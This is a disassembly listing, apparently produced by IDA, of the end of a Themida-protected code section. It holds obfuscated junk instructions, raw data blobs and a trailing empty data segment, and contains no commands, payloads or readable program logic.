call sub_5D1CDB
in al, 0Ah ; DMA controller, 8237A-5.
; single mask bit register
; 0-1: select channel (00=0; 01=1; 10=2; 11=3)
; 2: 1=set mask for channel; 0=clear mask (enable)
cmp bh, dh
adc bl, [ecx]
pop ebp
add eax, 13C51Fh
lahf
sub_5D1CAA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5D1CDB proc near ; CODE XREF: sub_5D1CAA+1Fp
adc ecx, 284A7133h
pop ebx
loc_5D1CE2: ; CODE XREF: sub_5D1CAA+19j
xor bl, 8Ah
cld
jmp loc_5D1CF7
; ---------------------------------------------------------------------------
db 0F5h
dd 0FBEA757Dh, 71A5F925h
db 78h, 8Bh, 7
; ---------------------------------------------------------------------------
loc_5D1CF7: ; CODE XREF: sub_5D1CDB+Bj
jno loc_5D1D00
mov dx, si
loc_5D1D00: ; CODE XREF: sub_5D1CDB:loc_5D1CF7j
and di, 8670h
mov dx, di
call sub_5D1D1B
std
retn
sub_5D1CDB endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0DCh
dd 1C16A20Ah, 55302755h
db 93h, 0E6h, 0D2h
; =============== S U B R O U T I N E =======================================
sub_5D1D1B proc near ; CODE XREF: sub_5D1CDB+2Dp
mov ebx, edi
pop ecx
mov cx, 0A930h
loc_5D1D22: ; CODE XREF: sub_5D1D1B+Dj
call near ptr loc_5D1D2F+4
push ds
jl short loc_5D1D22
pop esi
xchg bl, [ebp+ecx*8+75h]
loc_5D1D2F: ; CODE XREF: sub_5D1D1B:loc_5D1D22p
mov edx, 0BA4D290Dh
sub_5D1D1B endp ; sp-analysis failed
popa
arpl sp, di
push edi
pop edi
mov esi, 76E9AD04h
movsx esi, bx
sub ecx, 163B1679h
push edx
mov ebx, esi
pop edi
mov ch, 78h
call sub_5D1D63
fcmovne st, st(2)
cmp eax, 0DF45450Bh
retf
; ---------------------------------------------------------------------------
dw 0CDD5h
dd 99A55154h
db 78h, 63h, 4
; =============== S U B R O U T I N E =======================================
sub_5D1D63 proc near ; CODE XREF: Themida_:005D1D4Dp
pop ecx
mov ah, bl
jg $+6
mov dl, al
jmp loc_5D1D79
; ---------------------------------------------------------------------------
db 25h
dd 2E449A37h
db 64h
; ---------------------------------------------------------------------------
loc_5D1D79: ; CODE XREF: sub_5D1D63+Bj
call near ptr loc_5D1D85+2
stosb
cmp eax, 0B06FB12Bh
pop edi
loc_5D1D85: ; CODE XREF: sub_5D1D63:loc_5D1D79p
db 3Eh
mov bh, 0E9h
sub_5D1D63 endp ; sp-analysis failed
adc al, 0
; ---------------------------------------------------------------------------
dw 0
dd 0CAC64CC7h, 0BBBE3Ah, 5CFEDCB7h, 0EBD10045h, 7A079A60h
dd 0D08B6059h, 0A108CE81h, 0E961667Fh, 0Fh, 5C0F3021h
dd 29BDBEE4h, 0DD0CCD9Dh, 0BEAB3E6Bh, 1293328Bh, 0FE960h
dd 136F0000h, 51711C12h, 5E8D7698h, 0E771BA81h, 5E9A2h
dd 0F2A50000h, 61853B38h, 3840Fh, 0B70F0000h, 8BC68BD1h
dd 7E9D9h, 0FD550000h, 9B502827h, 5BF55656h, 0FA8BC88Bh
dd 0DBEABE66h, 12830Fh, 0DE90000h, 36000000h, 0FBEFAB85h
dd 34551348h, 4C171B75h, 88BBC78Ah, 6676E9C0h, 8B66D38Bh
dd 0DBD981F7h, 0B273E43Bh, 0EBCE8105h, 0BE0A6815h, 7E4166DFh
dd 13E9h, 28220500h, 0AD0836C5h, 358B96BDh, 0F698D1CFh
dd 4C45E053h, 96F68160h, 6635AD76h, 5061D78Bh, 5E8h, 675CC000h
dd 870F6276h, 0
; ---------------------------------------------------------------------------
pop ebx
pop edi
mov dx, 5769h
pusha
jmp loc_5D1E8F
; ---------------------------------------------------------------------------
dd 9BA886A2h, 0E5E5DD4Eh, 3F45E57Dh
; ---------------------------------------------------------------------------
or edx, ebx
std
loc_5D1E8F: ; CODE XREF: Themida_:005D1E7Bj
push esi
mov esi, edi
pop ebx
popa
jmp loc_5D1EAB
; ---------------------------------------------------------------------------
db 24h, 47h, 7Dh
dd 9FED1A9Fh, 43209B4Ah, 92795B20h
; ---------------------------------------------------------------------------
dec ecx
or dh, al
loc_5D1EAB: ; CODE XREF: Themida_:005D1E94j
mov bh, 0F2h
jmp loc_5D1EC1
; ---------------------------------------------------------------------------
sal dword ptr ds:21DDF07h, cl
sbb eax, 835DB707h
db 67h
daa
mov dl, 2Ah
loc_5D1EC1: ; CODE XREF: Themida_:005D1EADj
stc
adc al, 7Dh
mov cx, si
jmp loc_5D1EDD
; ---------------------------------------------------------------------------
db 0B4h, 12h, 87h
dd 4381B910h, 0D1431F53h, 21F38B24h
; ---------------------------------------------------------------------------
pop edi
loc_5D1EDD: ; CODE XREF: Themida_:005D1EC8j
jmp loc_5D1EF2
; ---------------------------------------------------------------------------
dw 0A11Ah
dd 0F3651212h, 618B3DBh, 80D4ACB0h
db 0D9h, 0E6h
; ---------------------------------------------------------------------------
loc_5D1EF2: ; CODE XREF: Themida_:loc_5D1EDDj
mov ch, 29h
pusha
mov di, dx
jge loc_5D1F00
pusha
popa
loc_5D1F00: ; CODE XREF: Themida_:005D1EF8j
popa
movzx esi, di
call near ptr loc_5D1F12+2
scasb
add eax, 0B2F7F7A2h
pop edx
cdq
inc edi
loc_5D1F12: ; CODE XREF: Themida_:005D1F04p
fdiv dword ptr [ecx+ebp*8]
add eax, 68000000h
mov dl, ds:0B15E01BCh
inc ebx
js loc_5D1F2A
adc cl, 22h
loc_5D1F2A: ; CODE XREF: Themida_:005D1F21j
stc
mov ecx, esi
pusha
mov bh, al
add ax, 0C1B7h
popa
call sub_5D1F4B
popa
cmp [eax+6774E65Dh], al
fimul word ptr [ecx+2AEFF485h]
inc edi
sal eax, cl
; =============== S U B R O U T I N E =======================================
sub_5D1F4B proc near ; CODE XREF: Themida_:005D1F36p
call near ptr loc_5D1F59+1
sbb esi, [edi]
ror byte ptr ds:7A5F0C47h, 0C8h
loc_5D1F59: ; CODE XREF: sub_5D1F4Bp
mov ebp, ecx
sub_5D1F4B endp ; sp-analysis failed
adc eax, [eax]
; ---------------------------------------------------------------------------
db 2 dup(0), 0D6h
dd 93476ADEh, 838EB0D8h, 5579A4CEh, 9A7ED92h, 5F58D252h
dd 8BF78B66h, 9E9D7h, 0B8B60000h, 0D1B11571h, 0F36D48Ah
dd 48Ch, 0D9BA6600h, 7BD78059h, 10E8h, 7306ED00h, 9DEC2EFCh
dd 0E97F3612h, 11FC6C31h, 0EE9D4h, 843B0000h, 7D810C0h
dd 0B4D6C408h, 0AFF1100Fh, 13E85Fh, 8EFE0000h, 80D0BEA1h
dd 0A4EBB585h, 2CE98044h, 1F2E012Ch, 0D6E681B4h, 5A27E26Fh
dd 0AE9h, 0B305F900h, 0CBA0B182h, 0FBE5334h, 0B8Bh, 58A0F00h
dd 66000000h, 60A0D681h, 0F10E380h, 6060F6B7h, 8C0Fh, 0BB660000h
dd 0E8615549h, 6, 5C7778CDh, 61606C8Ch, 13BB615Eh, 604F600Bh
dd 0EE9h, 1A88B400h, 0F55082E0h, 38F2A5B0h, 619E853Bh
dd 0EE14BAFCh, 80534A88h, 0F5BAADEh, 0E780CEB7h, 6E87Ah
dd 27110000h, 0FBEA64Ch, 6E958FCh, 0C6000000h, 0D5ED48A5h
dd 0CAE2817Fh, 600E61ACh, 58F0FF8h, 66000000h, 3C49E981h
dd 9AB96661h, 0EE84Fh, 0A05B0000h, 79DF8355h, 0F31EF40Eh
dd 0E344A5CAh, 3FC2805Ah, 0E8DABF0Fh, 6, 0A87EEED8h, 0F60EAE3h
dd 8Ah, 8A0F00h, 61000000h, 6E85Ah, 0E74D0000h, 3D36E0CEh
dd 0A1DA805Bh, 18840Fh, 13E90000h, 7B000000h, 45CEF2EBh
dd 0B323DC6Ah, 0AFCBA9C0h, 0DED20702h, 79B5418Eh, 0DE9h
dd 3076C500h, 0CC0BBE0Ah, 0E20E3F14h, 0BE94D19h, 8D000000h
dd 0FFB9F68Eh, 0F1FBA6C3h, 820FF920h, 6, 1880D381h, 8B662665h
dd 0D38166C8h, 5E5187D5h, 0CA8B6651h, 138A0F5Eh, 0E8000000h
dd 0Bh, 6AC2C5ECh, 227A79B3h, 52C40D17h, 8166595Ah, 515684C7h
dd 0F859F78Bh, 118C0Fh, 0CE90000h, 54000000h, 53DF443h
dd 2B8CC93Fh, 601BAD26h, 18E0Fh, 0F9FC0000h, 8AFDB961h
dd 0CA8B4419h, 5E9FE8Bh, 0C8000000h, 67A03D31h, 18810Fh
dd 13E90000h, 61000000h, 0EDBBA115h, 5B3C8876h, 0F54BFE85h
dd 6C1A3CB9h, 0FF5221Fh, 0F57D3BFh, 0F8Ah, 9E800h, 3DBE0000h
dd 0B2D52E17h, 5B38EAE0h, 59F5505Bh, 1A870Fh, 8D0F0000h
dd 14h, 0FE9h, 12847D00h, 0D92D9677h, 0F19DC549h, 0A40B5632h
dd 36h dup(7A92ABF9h), 0D96D54F9h, 70h dup(0D96D576Bh)
dd 257h dup(2111F70Ch), 0BC11F70Ch, 1A8h dup(0BCEEEBA9h)
dd 28D5EBA9h, 105h dup(28D5C00Bh)
db 0Bh, 0C0h
db 0D5h
byte_5D3883 db 28h ; DATA XREF: Themida_:00556D01o
; Themida_:00556D08o
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
db 0Bh, 0C0h
dw 28D5h
dd 3505248Fh, 3ABh dup(35052480h), 92052480h, 81h dup(921B3D6Ah)
dd 383D16Ah, 44EFD166h, 59h dup(44EF1228h)
db 28h, 12h, 0EFh
byte_5D4D5B db 44h ; DATA XREF: ___:off_43162Co
dd 1C5h dup(44EF1228h), 0CCEF1228h, 756h dup(0CCCCCCCCh)
dd 1B8Dh dup(0)
Themida_ ends
; Section 5. (virtual address 001DE000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 001DE000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 5DE000h
dd 80h dup(0)
align 1000h
_idata2 ends
end start